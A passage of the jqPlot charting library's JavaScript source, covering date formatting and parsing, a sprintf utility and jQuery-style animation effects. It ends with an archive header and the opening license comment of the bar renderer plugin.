jsDate.regional.hasOwnProperty(locale)) { loc = locale; } if (get_type(d) != "[object Object]" || d._type != "jsDate") { d = new jsDate(d); d.locale = loc; } if (!formatString) { formatString = d.formatString || jsDate.regional[loc]['formatString']; } // default the format string to year-month-day var source = formatString || '%Y-%m-%d', result = '', match; // replace each format code while (source.length > 0) { if (match = source.match(jsDate.formats[syn].codes.matcher)) { result += source.slice(0, match.index); result += (match[1] || '') + format(d, match[2], syn); source = source.slice(match.index + match[0].length); } else { result += source; source = ''; } } return result; }; /** * @namespace * Namespace to hold format codes and format shortcuts. "perl" and "php" format codes * and shortcuts are defined by default. Additional codes and shortcuts can be * added like: * * <pre class="code"> * jsDate.formats["perl"] = { * "codes": { * matcher: /someregex/, * Y: "fullYear", // name of "get" method without the "get", * ..., // more codes * }, * "shortcuts": { * F: '%Y-%m-%d', * ..., // more shortcuts * } * }; * </pre> * * <p>Additionally, ISO and SQL shortcuts are defined and can be accesses via: * <code>jsDate.formats.ISO</code> and <code>jsDate.formats.SQL</code> */ jsDate.formats = { ISO:'%Y-%m-%dT%H:%M:%S.%N%G', SQL:'%Y-%m-%d %H:%M:%S' }; /** * Perl format codes and shortcuts for strftime. * * A hash (object) of codes where each code must be an array where the first member is * the name of a Date.prototype or jsDate.prototype function to call * and optionally a second member indicating the number to pass to addZeros() * * <p>The following format codes are defined:</p> * * <pre class="code"> * Code Result Description * == Years == * %Y 2008 Four-digit year * %y 08 Two-digit year * * == Months == * %m 09 Two-digit month * %#m 9 One or two-digit month * %B September Full month name * %b Sep Abbreviated month name * * == Days == * %d 05 Two-digit day of month * %#d 5 One or two-digit day of month * %e 5 One or two-digit day of month * %A Sunday Full name of the day of the week * %a Sun Abbreviated name of the day of the week * %w 0 Number of the day of the week (0 = Sunday, 6 = Saturday) * * == Hours == * %H 23 Hours in 24-hour format (two digits) * %#H 3 Hours in 24-hour integer format (one or two digits) * %I 11 Hours in 12-hour format (two digits) * %#I 3 Hours in 12-hour integer format (one or two digits) * %p PM AM or PM * * == Minutes == * %M 09 Minutes (two digits) * %#M 9 Minutes (one or two digits) * * == Seconds == * %S 02 Seconds (two digits) * %#S 2 Seconds (one or two digits) * %s 1206567625723 Unix timestamp (Seconds past 1970-01-01 00:00:00) * * == Milliseconds == * %N 008 Milliseconds (three digits) * %#N 8 Milliseconds (one to three digits) * * == Timezone == * %O 360 difference in minutes between local time and GMT * %Z Mountain Standard Time Name of timezone as reported by browser * %G 06:00 Hours and minutes between GMT * * == Shortcuts == * %F 2008-03-26 %Y-%m-%d * %T 05:06:30 %H:%M:%S * %X 05:06:30 %H:%M:%S * %x 03/26/08 %m/%d/%y * %D 03/26/08 %m/%d/%y * %#c Wed Mar 26 15:31:00 2008 %a %b %e %H:%M:%S %Y * %v 3-Sep-2008 %e-%b-%Y * %R 15:31 %H:%M * %r 03:31:00 PM %I:%M:%S %p * * == Characters == * %n \n Newline * %t \t Tab * %% % Percent Symbol * </pre> * * <p>Formatting shortcuts that will be translated into their longer version. * Be sure that format shortcuts do not refer to themselves: this will cause an infinite loop.</p> * * <p>Format codes and format shortcuts can be redefined after the jsDate * module is imported.</p> * * <p>Note that if you redefine the whole hash (object), you must supply a "matcher" * regex for the parser. The default matcher is:</p> * * <code>/()%(#?(%|[a-z]))/i</code> * * <p>which corresponds to the Perl syntax used by default.</p> * * <p>By customizing the matcher and format codes, nearly any strftime functionality is possible.</p> */ jsDate.formats.perl = { codes: { // // 2-part regex matcher for format codes // // first match must be the character before the code (to account for escaping) // second match must be the format code character(s) // matcher: /()%(#?(%|[a-z]))/i, // year Y: 'FullYear', y: 'ShortYear.2', // month m: 'MonthNumber.2', '#m': 'MonthNumber', B: 'MonthName', b: 'AbbrMonthName', // day d: 'Date.2', '#d': 'Date', e: 'Date', A: 'DayName', a: 'AbbrDayName', w: 'Day', // hours H: 'Hours.2', '#H': 'Hours', I: 'Hours12.2', '#I': 'Hours12', p: 'AMPM', // minutes M: 'Minutes.2', '#M': 'Minutes', // seconds S: 'Seconds.2', '#S': 'Seconds', s: 'Unix', // milliseconds N: 'Milliseconds.3', '#N': 'Milliseconds', // timezone O: 'TimezoneOffset', Z: 'TimezoneName', G: 'GmtOffset' }, shortcuts: { // date F: '%Y-%m-%d', // time T: '%H:%M:%S', X: '%H:%M:%S', // local format date x: '%m/%d/%y', D: '%m/%d/%y', // local format extended '#c': '%a %b %e %H:%M:%S %Y', // local format short v: '%e-%b-%Y', R: '%H:%M', r: '%I:%M:%S %p', // tab and newline t: '\t', n: '\n', '%': '%' } }; /** * PHP format codes and shortcuts for strftime. * * A hash (object) of codes where each code must be an array where the first member is * the name of a Date.prototype or jsDate.prototype function to call * and optionally a second member indicating the number to pass to addZeros() * * <p>The following format codes are defined:</p> * * <pre class="code"> * Code Result Description * === Days === * %a Sun through Sat An abbreviated textual representation of the day * %A Sunday - Saturday A full textual representation of the day * %d 01 to 31 Two-digit day of the month (with leading zeros) * %e 1 to 31 Day of the month, with a space preceding single digits. * %j 001 to 366 Day of the year, 3 digits with leading zeros * %u 1 - 7 (Mon - Sun) ISO-8601 numeric representation of the day of the week * %w 0 - 6 (Sun - Sat) Numeric representation of the day of the week * * === Week === * %U 13 Full Week number, starting with the first Sunday as the first week * %V 01 through 53 ISO-8601:1988 week number, starting with the first week of the year * with at least 4 weekdays, with Monday being the start of the week * %W 46 A numeric representation of the week of the year, * starting with the first Monday as the first week * === Month === * %b Jan through Dec Abbreviated month name, based on the locale * %B January - December Full month name, based on the locale * %h Jan through Dec Abbreviated month name, based on the locale (an alias of %b) * %m 01 - 12 (Jan - Dec) Two digit representation of the month * * === Year === * %C 19 Two digit century (year/100, truncated to an integer) * %y 09 for 2009 Two digit year * %Y 2038 Four digit year * * === Time === * %H 00 through 23 Two digit representation of the hour in 24-hour format * %I 01 through 12 Two digit representation of the hour in 12-hour format * %l 1 through 12 Hour in 12-hour format, with a space preceeding single digits * %M 00 through 59 Two digit representation of the minute * %p AM/PM UPPER-CASE 'AM' or 'PM' based on the given time * %P am/pm lower-case 'am' or 'pm' based on the given time * %r 09:34:17 PM Same as %I:%M:%S %p * %R 00:35 Same as %H:%M * %S 00 through 59 Two digit representation of the second * %T 21:34:17 Same as %H:%M:%S * %X 03:59:16 Preferred time representation based on locale, without the date * %z -0500 or EST Either the time zone offset from UTC or the abbreviation * %Z -0500 or EST The time zone offset/abbreviation option NOT given by %z * * === Time and Date === * %D 02/05/09 Same as %m/%d/%y * %F 2009-02-05 Same as %Y-%m-%d (commonly used in database datestamps) * %s 305815200 Unix Epoch Time timestamp (same as the time() function) * %x 02/05/09 Preferred date representation, without the time * * === Miscellaneous === * %n --- A newline character (\n) * %t --- A Tab character (\t) * %% --- A literal percentage character (%) * </pre> */ jsDate.formats.php = { codes: { // // 2-part regex matcher for format codes // // first match must be the character before the code (to account for escaping) // second match must be the format code character(s) // matcher: /()%((%|[a-z]))/i, // day a: 'AbbrDayName', A: 'DayName', d: 'Date.2', e: 'Date', j: 'DayOfYear.3', u: 'DayOfWeek', w: 'Day', // week U: 'FullWeekOfYear.2', V: 'IsoWeek.2', W: 'WeekOfYear.2', // month b: 'AbbrMonthName', B: 'MonthName', m: 'MonthNumber.2', h: 'AbbrMonthName', // year C: 'Century.2', y: 'ShortYear.2', Y: 'FullYear', // time H: 'Hours.2', I: 'Hours12.2', l: 'Hours12', p: 'AMPM', P: 'AmPm', M: 'Minutes.2', S: 'Seconds.2', s: 'Unix', O: 'TimezoneOffset', z: 'GmtOffset', Z: 'TimezoneAbbr' }, shortcuts: { D: '%m/%d/%y', F: '%Y-%m-%d', T: '%H:%M:%S', X: '%H:%M:%S', x: '%m/%d/%y', R: '%H:%M', r: '%I:%M:%S %p', t: '\t', n: '\n', '%': '%' } }; // // Conceptually, the logic implemented here is similar to Ken Snyder's Date Instance Methods. // I use his idea of a set of parsers which can be regular expressions or functions, // iterating through those, and then seeing if Date.parse() will create a date. // The parser expressions and functions are a little different and some bugs have been // worked out. Also, a lot of "pre-parsing" is done to fix implementation // variations of Date.parse() between browsers. // jsDate.createDate = function(date) { // if passing in multiple arguments, try Date constructor if (date == null) { return new Date(); } // If the passed value is already a date object, return it if (date instanceof Date) { return date; } // if (typeof date == 'number') return new Date(date * 1000); // If the passed value is an integer, interpret it as a javascript timestamp if (typeof date == 'number') { return new Date(date); } // Before passing strings into Date.parse(), have to normalize them for certain conditions. // If strings are not formatted staccording to the EcmaScript spec, results from Date parse will be implementation dependent. // // For example: // * FF and Opera assume 2 digit dates are pre y2k, Chome assumes <50 is pre y2k, 50+ is 21st century. // * Chrome will correctly parse '1984-1-25' into localtime, FF and Opera will not parse. // * Both FF, Chrome and Opera will parse '1984/1/25' into localtime. // remove leading and trailing spaces var parsable = String(date).replace(/^\s*(.+)\s*$/g, '$1'); // replace dahses (-) with slashes (/) in dates like n[nnn]/n[n]/n[nnn] parsable = parsable.replace(/^([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,4})/, "$1/$2/$3"); ///////// // Need to check for '15-Dec-09' also. // FF will not parse, but Chrome will. // Chrome will set date to 2009 as well. ///////// // first check for 'dd-mmm-yyyy' or 'dd/mmm/yyyy' like '15-Dec-2010' parsable = parsable.replace(/^(3[01]|[0-2]?\d)[-\/]([a-z]{3,})[-\/](\d{4})/i, "$1 $2 $3"); // Now check for 'dd-mmm-yy' or 'dd/mmm/yy' and normalize years to default century. var match = parsable.match(/^(3[01]|[0-2]?\d)[-\/]([a-z]{3,})[-\/](\d{2})\D*/i); if (match && match.length > 3) { var m3 = parseFloat(match[3]); var ny = jsDate.config.defaultCentury + m3; ny = String(ny); // now replace 2 digit year with 4 digit year parsable = parsable.replace(/^(3[01]|[0-2]?\d)[-\/]([a-z]{3,})[-\/](\d{2})\D*/i, match[1] +' '+ match[2] +' '+ ny); } // Check for '1/19/70 8:14PM' // where starts with mm/dd/yy or yy/mm/dd and have something after // Check if 1st postiion is greater than 31, assume it is year. // Assme all 2 digit years are 1900's. // Finally, change them into US style mm/dd/yyyy representations. match = parsable.match(/^([0-9]{1,2})[-\/]([0-9]{1,2})[-\/]([0-9]{1,2})[^0-9]/); function h1(parsable, match) { var m1 = parseFloat(match[1]); var m2 = parseFloat(match[2]); var m3 = parseFloat(match[3]); var cent = jsDate.config.defaultCentury; var ny, nd, nm, str; if (m1 > 31) { // first number is a year nd = m3; nm = m2; ny = cent + m1; } else { // last number is the year nd = m2; nm = m1; ny = cent + m3; } str = nm+'/'+nd+'/'+ny; // now replace 2 digit year with 4 digit year return parsable.replace(/^([0-9]{1,2})[-\/]([0-9]{1,2})[-\/]([0-9]{1,2})/, str); } if (match && match.length > 3) { parsable = h1(parsable, match); } // Now check for '1/19/70' with nothing after and do as above var match = parsable.match(/^([0-9]{1,2})[-\/]([0-9]{1,2})[-\/]([0-9]{1,2})$/); if (match && match.length > 3) { parsable = h1(parsable, match); } var i = 0; var length = jsDate.matchers.length; var pattern, ms, current = parsable, obj; while (i < length) { ms = Date.parse(current); if (!isNaN(ms)) { return new Date(ms); } pattern = jsDate.matchers[i]; if (typeof pattern == 'function') { obj = pattern.call(jsDate, current); if (obj instanceof Date) { return obj; } } else { current = parsable.replace(pattern[0], pattern[1]); } i++; } return NaN; }; /** * @static * Handy static utility function to return the number of days in a given month. * @param {Integer} year Year * @param {Integer} month Month (1-12) * @returns {Integer} Number of days in the month. */ // // handy utility method Borrowed right from Ken Snyder's Date Instance Mehtods. // jsDate.daysInMonth = function(year, month) { if (month == 2) { return new Date(year, 1, 29).getDate() == 29 ? 29 : 28; } return [undefined,31,undefined,31,30,31,30,31,31,30,31,30,31][month]; }; // // An Array of regular expressions or functions that will attempt to match the date string. // Functions are called with scope of a jsDate instance. // jsDate.matchers = [ // convert dd.mmm.yyyy to mm/dd/yyyy (world date to US date). [/(3[01]|[0-2]\d)\s*\.\s*(1[0-2]|0\d)\s*\.\s*([1-9]\d{3})/, '$2/$1/$3'], // convert yyyy-mm-dd to mm/dd/yyyy (ISO date to US date). [/([1-9]\d{3})\s*-\s*(1[0-2]|0\d)\s*-\s*(3[01]|[0-2]\d)/, '$2/$3/$1'], // Handle 12 hour or 24 hour time with milliseconds am/pm and optional date part. function(str) { var match = str.match(/^(?:(.+)\s+)?([012]?\d)(?:\s*\:\s*(\d\d))?(?:\s*\:\s*(\d\d(\.\d*)?))?\s*(am|pm)?\s*$/i); // opt. date hour opt. minute opt. second opt. msec opt. am or pm if (match) { if (match[1]) { var d = this.createDate(match[1]); if (isNaN(d)) { return; } } else { var d = new Date(); d.setMilliseconds(0); } var hour = parseFloat(match[2]); if (match[6]) { hour = match[6].toLowerCase() == 'am' ? (hour == 12 ? 0 : hour) : (hour == 12 ? 12 : hour + 12); } d.setHours(hour, parseInt(match[3] || 0, 10), parseInt(match[4] || 0, 10), ((parseFloat(match[5] || 0)) || 0)*1000); return d; } else { return str; } }, // Handle ISO timestamp with time zone. function(str) { var match = str.match(/^(?:(.+))[T|\s+]([012]\d)(?:\:(\d\d))(?:\:(\d\d))(?:\.\d+)([\+\-]\d\d\:\d\d)$/i); if (match) { if (match[1]) { var d = this.createDate(match[1]); if (isNaN(d)) { return; } } else { var d = new Date(); d.setMilliseconds(0); } var hour = parseFloat(match[2]); d.setHours(hour, parseInt(match[3], 10), parseInt(match[4], 10), parseFloat(match[5])*1000); return d; } else { return str; } }, // Try to match ambiguous strings like 12/8/22. // Use FF date assumption that 2 digit years are 20th century (i.e. 1900's). // This may be redundant with pre processing of date already performed. function(str) { var match = str.match(/^([0-3]?\d)\s*[-\/.\s]{1}\s*([a-zA-Z]{3,9})\s*[-\/.\s]{1}\s*([0-3]?\d)$/); if (match) { var d = new Date(); var cent = jsDate.config.defaultCentury; var m1 = parseFloat(match[1]); var m3 = parseFloat(match[3]); var ny, nd, nm; if (m1 > 31) { // first number is a year nd = m3; ny = cent + m1; } else { // last number is the year nd = m1; ny = cent + m3; } var nm = inArray(match[2], jsDate.regional[jsDate.regional.getLocale()]["monthNamesShort"]); if (nm == -1) { nm = inArray(match[2], jsDate.regional[jsDate.regional.getLocale()]["monthNames"]); } d.setFullYear(ny, nm, nd); d.setHours(0,0,0,0); return d; } else { return str; } } ]; // // I think John Reisig published this method on his blog, ejohn. // function inArray( elem, array ) { if ( array.indexOf ) { return array.indexOf( elem ); } for ( var i = 0, length = array.length; i < length; i++ ) { if ( array[ i ] === elem ) { return i; } } return -1; } // // Thanks to Kangax, Christian Sciberras and Stack Overflow for this method. // function get_type(thing){ if(thing===null) return "[object Null]"; // special case return Object.prototype.toString.call(thing); } $.jsDate = jsDate; /** * JavaScript printf/sprintf functions. * * This code has been adapted from the publicly available sprintf methods * by Ash Searle. His original header follows: * * This code is unrestricted: you are free to use it however you like. * * The functions should work as expected, performing left or right alignment, * truncating strings, outputting numbers with a required precision etc. * * For complex cases, these functions follow the Perl implementations of * (s)printf, allowing arguments to be passed out-of-order, and to set the * precision or length of the output based on arguments instead of fixed * numbers. * * See http://perldoc.perl.org/functions/sprintf.html for more information. * * Implemented: * - zero and space-padding * - right and left-alignment, * - base X prefix (binary, octal and hex) * - positive number prefix * - (minimum) width * - precision / truncation / maximum width * - out of order arguments * * Not implemented (yet): * - vector flag * - size (bytes, words, long-words etc.) * * Will not implement: * - %n or %p (no pass-by-reference in JavaScript) * * @version 2007.04.27 * @author Ash Searle * * You can see the original work and comments on his blog: * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js */ /** * @Modifications 2009.05.26 * @author Chris Leonello * * Added %p %P specifier * Acts like %g or %G but will not add more significant digits to the output than present in the input. * Example: * Format: '%.3p', Input: 0.012, Output: 0.012 * Format: '%.3g', Input: 0.012, Output: 0.0120 * Format: '%.4p', Input: 12.0, Output: 12.0 * Format: '%.4g', Input: 12.0, Output: 12.00 * Format: '%.4p', Input: 4.321e-5, Output: 4.321e-5 * Format: '%.4g', Input: 4.321e-5, Output: 4.3210e-5 * * Example: * >>> $.jqplot.sprintf('%.2f, %d', 23.3452, 43.23) * "23.35, 43" * >>> $.jqplot.sprintf("no value: %n, decimal with thousands separator: %'d", 23.3452, 433524) * "no value: , decimal with thousands separator: 433,524" */ $.jqplot.sprintf = function() { function pad(str, len, chr, leftJustify) { var padding = (str.length >= len) ? '' : Array(1 + len - str.length >>> 0).join(chr); return leftJustify ? str + padding : padding + str; } function thousand_separate(value) { var value_str = new String(value); for (var i=10; i>0; i--) { if (value_str == (value_str = value_str.replace(/^(\d+)(\d{3})/, "$1"+$.jqplot.sprintf.thousandsSeparator+"$2"))) break; } return value_str; } function justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace) { var diff = minWidth - value.length; if (diff > 0) { var spchar = ' '; if (htmlSpace) { spchar = ' '; } if (leftJustify || !zeroPad) { value = pad(value, minWidth, spchar, leftJustify); } else { value = value.slice(0, prefix.length) + pad('', diff, '0', true) + value.slice(prefix.length); } } return value; } function formatBaseX(value, base, prefix, leftJustify, minWidth, precision, zeroPad, htmlSpace) { // Note: casts negative numbers to positive ones var number = value >>> 0; prefix = prefix && number && {'2': '0b', '8': '0', '16': '0x'}[base] || ''; value = prefix + pad(number.toString(base), precision || 0, '0', false); return justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace); } function formatString(value, leftJustify, minWidth, precision, zeroPad, htmlSpace) { if (precision != null) { value = value.slice(0, precision); } return justify(value, '', leftJustify, minWidth, zeroPad, htmlSpace); } var a = arguments, i = 0, format = a[i++]; return format.replace($.jqplot.sprintf.regex, function(substring, valueIndex, flags, minWidth, _, precision, type) { if (substring == '%%') { return '%'; } // parse flags var leftJustify = false, positivePrefix = '', zeroPad = false, prefixBaseX = false, htmlSpace = false, thousandSeparation = false; for (var j = 0; flags && j < flags.length; j++) switch (flags.charAt(j)) { case ' ': positivePrefix = ' '; break; case '+': positivePrefix = '+'; break; case '-': leftJustify = true; break; case '0': zeroPad = true; break; case '#': prefixBaseX = true; break; case '&': htmlSpace = true; break; case '\'': thousandSeparation = true; break; } // parameters may be null, undefined, empty-string or real valued // we want to ignore null, undefined and empty-string values if (!minWidth) { minWidth = 0; } else if (minWidth == '*') { minWidth = +a[i++]; } else if (minWidth.charAt(0) == '*') { minWidth = +a[minWidth.slice(1, -1)]; } else { minWidth = +minWidth; } // Note: undocumented perl feature: if (minWidth < 0) { minWidth = -minWidth; leftJustify = true; } if (!isFinite(minWidth)) { throw new Error('$.jqplot.sprintf: (minimum-)width must be finite'); } if (!precision) { precision = 'fFeE'.indexOf(type) > -1 ? 6 : (type == 'd') ? 0 : void(0); } else if (precision == '*') { precision = +a[i++]; } else if (precision.charAt(0) == '*') { precision = +a[precision.slice(1, -1)]; } else { precision = +precision; } // grab value using valueIndex if required? var value = valueIndex ? a[valueIndex.slice(0, -1)] : a[i++]; switch (type) { case 's': { if (value == null) { return ''; } return formatString(String(value), leftJustify, minWidth, precision, zeroPad, htmlSpace); } case 'c': return formatString(String.fromCharCode(+value), leftJustify, minWidth, precision, zeroPad, htmlSpace); case 'b': return formatBaseX(value, 2, prefixBaseX, leftJustify, minWidth, precision, zeroPad,htmlSpace); case 'o': return formatBaseX(value, 8, prefixBaseX, leftJustify, minWidth, precision, zeroPad, htmlSpace); case 'x': return formatBaseX(value, 16, prefixBaseX, leftJustify, minWidth, precision, zeroPad, htmlSpace); case 'X': return formatBaseX(value, 16, prefixBaseX, leftJustify, minWidth, precision, zeroPad, htmlSpace).toUpperCase(); case 'u': return formatBaseX(value, 10, prefixBaseX, leftJustify, minWidth, precision, zeroPad, htmlSpace); case 'i': { var number = parseInt(+value, 10); if (isNaN(number)) { return ''; } var prefix = number < 0 ? '-' : positivePrefix; var number_str = thousandSeparation ? thousand_separate(String(Math.abs(number))): String(Math.abs(number)); value = prefix + pad(number_str, precision, '0', false); //value = prefix + pad(String(Math.abs(number)), precision, '0', false); return justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace); } case 'd': { var number = Math.round(+value); if (isNaN(number)) { return ''; } var prefix = number < 0 ? '-' : positivePrefix; var number_str = thousandSeparation ? thousand_separate(String(Math.abs(number))): String(Math.abs(number)); value = prefix + pad(number_str, precision, '0', false); return justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace); } case 'e': case 'E': case 'f': case 'F': case 'g': case 'G': { var number = +value; if (isNaN(number)) { return ''; } var prefix = number < 0 ? '-' : positivePrefix; var method = ['toExponential', 'toFixed', 'toPrecision']['efg'.indexOf(type.toLowerCase())]; var textTransform = ['toString', 'toUpperCase']['eEfFgG'.indexOf(type) % 2]; var number_str = Math.abs(number)[method](precision); // Apply the decimal mark properly by splitting the number by the // decimalMark, applying thousands separator, and then placing it // back in. var parts = number_str.toString().split('.'); parts[0] = thousandSeparation ? thousand_separate(parts[0]) : parts[0]; number_str = parts.join($.jqplot.sprintf.decimalMark); value = prefix + number_str; var justified = justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace)[textTransform](); return justified; } case 'p': case 'P': { // make sure number is a number var number = +value; if (isNaN(number)) { return ''; } var prefix = number < 0 ? '-' : positivePrefix; var parts = String(Number(Math.abs(number)).toExponential()).split(/e|E/); var sd = (parts[0].indexOf('.') != -1) ? parts[0].length - 1 : String(number).length; var zeros = (parts[1] < 0) ? -parts[1] - 1 : 0; if (Math.abs(number) < 1) { if (sd + zeros <= precision) { value = prefix + Math.abs(number).toPrecision(sd); } else { if (sd <= precision - 1) { value = prefix + Math.abs(number).toExponential(sd-1); } else { value = prefix + Math.abs(number).toExponential(precision-1); } } } else { var prec = (sd <= precision) ? sd : precision; value = prefix + Math.abs(number).toPrecision(prec); } var textTransform = ['toString', 'toUpperCase']['pP'.indexOf(type) % 2]; return justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace)[textTransform](); } case 'n': return ''; default: return substring; } }); }; $.jqplot.sprintf.thousandsSeparator = ','; // Specifies the decimal mark for floating point values. By default a period '.' // is used. If you change this value to for example a comma be sure to also // change the thousands separator or else this won't work since a simple String // replace is used (replacing all periods with the mark specified here). $.jqplot.sprintf.decimalMark = '.'; $.jqplot.sprintf.regex = /%%|%(\d+\$)?([-+#0&\' ]*)(\*\d+\$|\*|\d+)?(\.(\*\d+\$|\*|\d+))?([nAscboxXuidfegpEGP])/g; $.jqplot.getSignificantFigures = function(number) { var parts = String(Number(Math.abs(number)).toExponential()).split(/e|E/); // total significant digits var sd = (parts[0].indexOf('.') != -1) ? parts[0].length - 1 : parts[0].length; var zeros = (parts[1] < 0) ? -parts[1] - 1 : 0; // exponent var expn = parseInt(parts[1], 10); // digits to the left of the decimal place var dleft = (expn + 1 > 0) ? expn + 1 : 0; // digits to the right of the decimal place var dright = (sd <= dleft) ? 0 : sd - expn - 1; return {significantDigits: sd, digitsLeft: dleft, digitsRight: dright, zeros: zeros, exponent: expn} ; }; $.jqplot.getPrecision = function(number) { return $.jqplot.getSignificantFigures(number).digitsRight; }; var backCompat = $.uiBackCompat !== false; $.jqplot.effects = { effect: {} }; // prefix used for storing data on .data() var dataSpace = "jqplot.storage."; /******************************************************************************/ /*********************************** EFFECTS **********************************/ /******************************************************************************/ $.extend( $.jqplot.effects, { version: "1.9pre", // Saves a set of properties in a data storage save: function( element, set ) { for( var i=0; i < set.length; i++ ) { if ( set[ i ] !== null ) { element.data( dataSpace + set[ i ], element[ 0 ].style[ set[ i ] ] ); } } }, // Restores a set of previously saved properties from a data storage restore: function( element, set ) { for( var i=0; i < set.length; i++ ) { if ( set[ i ] !== null ) { element.css( set[ i ], element.data( dataSpace + set[ i ] ) ); } } }, setMode: function( el, mode ) { if (mode === "toggle") { mode = el.is( ":hidden" ) ? "show" : "hide"; } return mode; }, // Wraps the element around a wrapper that copies position properties createWrapper: function( element ) { // if the element is already wrapped, return it if ( element.parent().is( ".ui-effects-wrapper" )) { return element.parent(); } // wrap the element var props = { width: element.outerWidth(true), height: element.outerHeight(true), "float": element.css( "float" ) }, wrapper = $( "<div></div>" ) .addClass( "ui-effects-wrapper" ) .css({ fontSize: "100%", background: "transparent", border: "none", margin: 0, padding: 0 }), // Store the size in case width/height are defined in % - Fixes #5245 size = { width: element.width(), height: element.height() }, active = document.activeElement; element.wrap( wrapper ); // Fixes #7595 - Elements lose focus when wrapped. if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) { $( active ).focus(); } wrapper = element.parent(); //Hotfix for jQuery 1.4 since some change in wrap() seems to actually loose the reference to the wrapped element // transfer positioning properties to the wrapper if ( element.css( "position" ) === "static" ) { wrapper.css({ position: "relative" }); element.css({ position: "relative" }); } else { $.extend( props, { position: element.css( "position" ), zIndex: element.css( "z-index" ) }); $.each([ "top", "left", "bottom", "right" ], function(i, pos) { props[ pos ] = element.css( pos ); if ( isNaN( parseInt( props[ pos ], 10 ) ) ) { props[ pos ] = "auto"; } }); element.css({ position: "relative", top: 0, left: 0, right: "auto", bottom: "auto" }); } element.css(size); return wrapper.css( props ).show(); }, removeWrapper: function( element ) { var active = document.activeElement; if ( element.parent().is( ".ui-effects-wrapper" ) ) { element.parent().replaceWith( element ); // Fixes #7595 - Elements lose focus when wrapped. if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) { $( active ).focus(); } } return element; } }); // return an effect options object for the given parameters: function _normalizeArguments( effect, options, speed, callback ) { // short path for passing an effect options object: if ( $.isPlainObject( effect ) ) { return effect; } // convert to an object effect = { effect: effect }; // catch (effect) if ( options === undefined ) { options = {}; } // catch (effect, callback) if ( $.isFunction( options ) ) { callback = options; speed = null; options = {}; } // catch (effect, speed, ?) if ( $.type( options ) === "number" || $.fx.speeds[ options ]) { callback = speed; speed = options; options = {}; } // catch (effect, options, callback) if ( $.isFunction( speed ) ) { callback = speed; speed = null; } // add options to effect if ( options ) { $.extend( effect, options ); } speed = speed || options.duration; effect.duration = $.fx.off ? 0 : typeof speed === "number" ? speed : speed in $.fx.speeds ? $.fx.speeds[ speed ] : $.fx.speeds._default; effect.complete = callback || options.complete; return effect; } function standardSpeed( speed ) { // valid standard speeds if ( !speed || typeof speed === "number" || $.fx.speeds[ speed ] ) { return true; } // invalid strings - treat as "normal" speed if ( typeof speed === "string" && !$.jqplot.effects.effect[ speed ] ) { // TODO: remove in 2.0 (#7115) if ( backCompat && $.jqplot.effects[ speed ] ) { return false; } return true; } return false; } $.fn.extend({ jqplotEffect: function( effect, options, speed, callback ) { var args = _normalizeArguments.apply( this, arguments ), mode = args.mode, queue = args.queue, effectMethod = $.jqplot.effects.effect[ args.effect ], // DEPRECATED: remove in 2.0 (#7115) oldEffectMethod = !effectMethod && backCompat && $.jqplot.effects[ args.effect ]; if ( $.fx.off || !( effectMethod || oldEffectMethod ) ) { // delegate to the original method (e.g., .show()) if possible if ( mode ) { return this[ mode ]( args.duration, args.complete ); } else { return this.each( function() { if ( args.complete ) { args.complete.call( this ); } }); } } function run( next ) { var elem = $( this ), complete = args.complete, mode = args.mode; function done() { if ( $.isFunction( complete ) ) { complete.call( elem[0] ); } if ( $.isFunction( next ) ) { next(); } } // if the element is hiddden and mode is hide, // or element is visible and mode is show if ( elem.is( ":hidden" ) ? mode === "hide" : mode === "show" ) { done(); } else { effectMethod.call( elem[0], args, done ); } } // TODO: remove this check in 2.0, effectMethod will always be true if ( effectMethod ) { return queue === false ? this.each( run ) : this.queue( queue || "fx", run ); } else { // DEPRECATED: remove in 2.0 (#7115) return oldEffectMethod.call(this, { options: args, duration: args.duration, callback: args.complete, mode: args.mode }); } } }); var rvertical = /up|down|vertical/, rpositivemotion = /up|left|vertical|horizontal/; $.jqplot.effects.effect.blind = function( o, done ) { // Create element var el = $( this ), props = [ "position", "top", "bottom", "left", "right", "height", "width" ], mode = $.jqplot.effects.setMode( el, o.mode || "hide" ), direction = o.direction || "up", vertical = rvertical.test( direction ), ref = vertical ? "height" : "width", ref2 = vertical ? "top" : "left", motion = rpositivemotion.test( direction ), animation = {}, show = mode === "show", wrapper, distance, top; // // if already wrapped, the wrapper's properties are my property. #6245 if ( el.parent().is( ".ui-effects-wrapper" ) ) { $.jqplot.effects.save( el.parent(), props ); } else { $.jqplot.effects.save( el, props ); } el.show(); top = parseInt(el.css('top'), 10); wrapper = $.jqplot.effects.createWrapper( el ).css({ overflow: "hidden" }); distance = vertical ? wrapper[ ref ]() + top : wrapper[ ref ](); animation[ ref ] = show ? String(distance) : '0'; if ( !motion ) { el .css( vertical ? "bottom" : "right", 0 ) .css( vertical ? "top" : "left", "" ) .css({ position: "absolute" }); animation[ ref2 ] = show ? '0' : String(distance); } // // start at 0 if we are showing if ( show ) { wrapper.css( ref, 0 ); if ( ! motion ) { wrapper.css( ref2, distance ); } } // // Animate wrapper.animate( animation, { duration: o.duration, easing: o.easing, queue: false, complete: function() { if ( mode === "hide" ) { el.hide(); } $.jqplot.effects.restore( el, props ); $.jqplot.effects.removeWrapper( el ); done(); } }); }; })(jQuery); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jqplot/plugins/jqplot.barRenderer.js���������������������������������������������������������0000666�����������������00000104306�15172447206�0015154 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: dff2f04 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see 